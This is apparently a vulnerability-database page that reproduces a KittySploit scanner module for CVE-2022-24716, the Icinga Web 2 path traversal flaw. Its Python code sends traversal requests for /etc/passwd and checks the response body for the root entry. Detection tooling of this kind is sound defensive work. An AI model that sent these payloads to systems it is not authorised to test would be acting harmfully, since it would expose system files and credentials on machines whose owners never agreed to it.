Icinga Web 2 - Arbitrary File Disclosure Detection
| Reporter | Title | Published | Views | Family All 41 |
|---|---|---|---|---|
| Icinga Web 2.10 - Arbitrary File Disclosure Exploit | 8 Apr 202300:00 | – | zdt | |
| Exploit for Path Traversal in Icinga Icinga_Web_2 | 19 Mar 202320:41 | – | githubexploit | |
| Exploit for Path Traversal in Icinga Icinga_Web_2 | 26 Mar 202301:03 | – | githubexploit | |
| Exploit for Path Traversal in Icinga Icinga_Web_2 | 27 Mar 202302:22 | – | githubexploit | |
| The vulnerability of the PHP framework Icinga Web 2, which allows a hacker to execute arbitrary code. | 12 Apr 202300:00 | – | bdu_fstec | |
| CVE-2022-24716 | 8 Mar 202222:40 | – | circl | |
| Icinga Web 2 路径遍历漏洞 | 8 Mar 202200:00 | – | cnnvd | |
| CVE-2022-24716 | 8 Mar 202200:00 | – | cve | |
| CVE-2022-24716 Path traversal in Icinga Web 2 | 8 Mar 202200:00 | – | cvelist | |
| CVE-2022-24716 | 8 Mar 202200:00 | – | debiancve |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Icinga Web 2 is an open source monitoring web interface, framework and command-line interface."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Icinga Web 2 - Arbitrary File Disclosure Detection',
'description': 'Icinga Web 2 is an open source monitoring web interface, framework and command-line interface. Unauthenticated users can leak the contents of files of the local system accessible to the web-server user, including `icingaweb2` configuration files with database credentials.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2022', 'packetstorm', 'icinga', 'lfi', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 3,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://github.com/JacobEbben/CVE-2022-24716/blob/main/exploit.py',
'http://packetstormsecurity.com/files/171774/Icinga-Web-2.10-Arbitrary-File-Disclosure.html',
'https://github.com/Icinga/icingaweb2/commit/9931ed799650f5b8d5e1dc58ea3415a4cdc5773d',
'https://github.com/Icinga/icingaweb2/security/advisories/GHSA-5p3f-rh28-8frw',
'https://security.gentoo.org/glsa/202208-05',
],
'cve': 'CVE-2022-24716',
}
def run(self):
for path in ('/lib/icinga/icinga-php-thirdparty/etc/passwd', '/icinga2/lib/icinga/icinga-php-thirdparty/etc/passwd', '/icinga-web/lib/icinga/icinga-php-thirdparty/etc/passwd'):
r = self.http_request(method="GET", path=path, allow_redirects=False)
if not r or r.status_code != 200:
continue
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
header_any = ('text/plain',)
body_regexes = ('root:.*:0:0:',)
if (any(m in headers for m in header_any)) and (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='high',
reason="Icinga Web 2 - Arbitrary File Disclosure detected",
path=path,
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
7.2High risk
Vulners AI Score7.2
CVSS 25
CVSS 3.17.5
EPSS0.89378
SSVC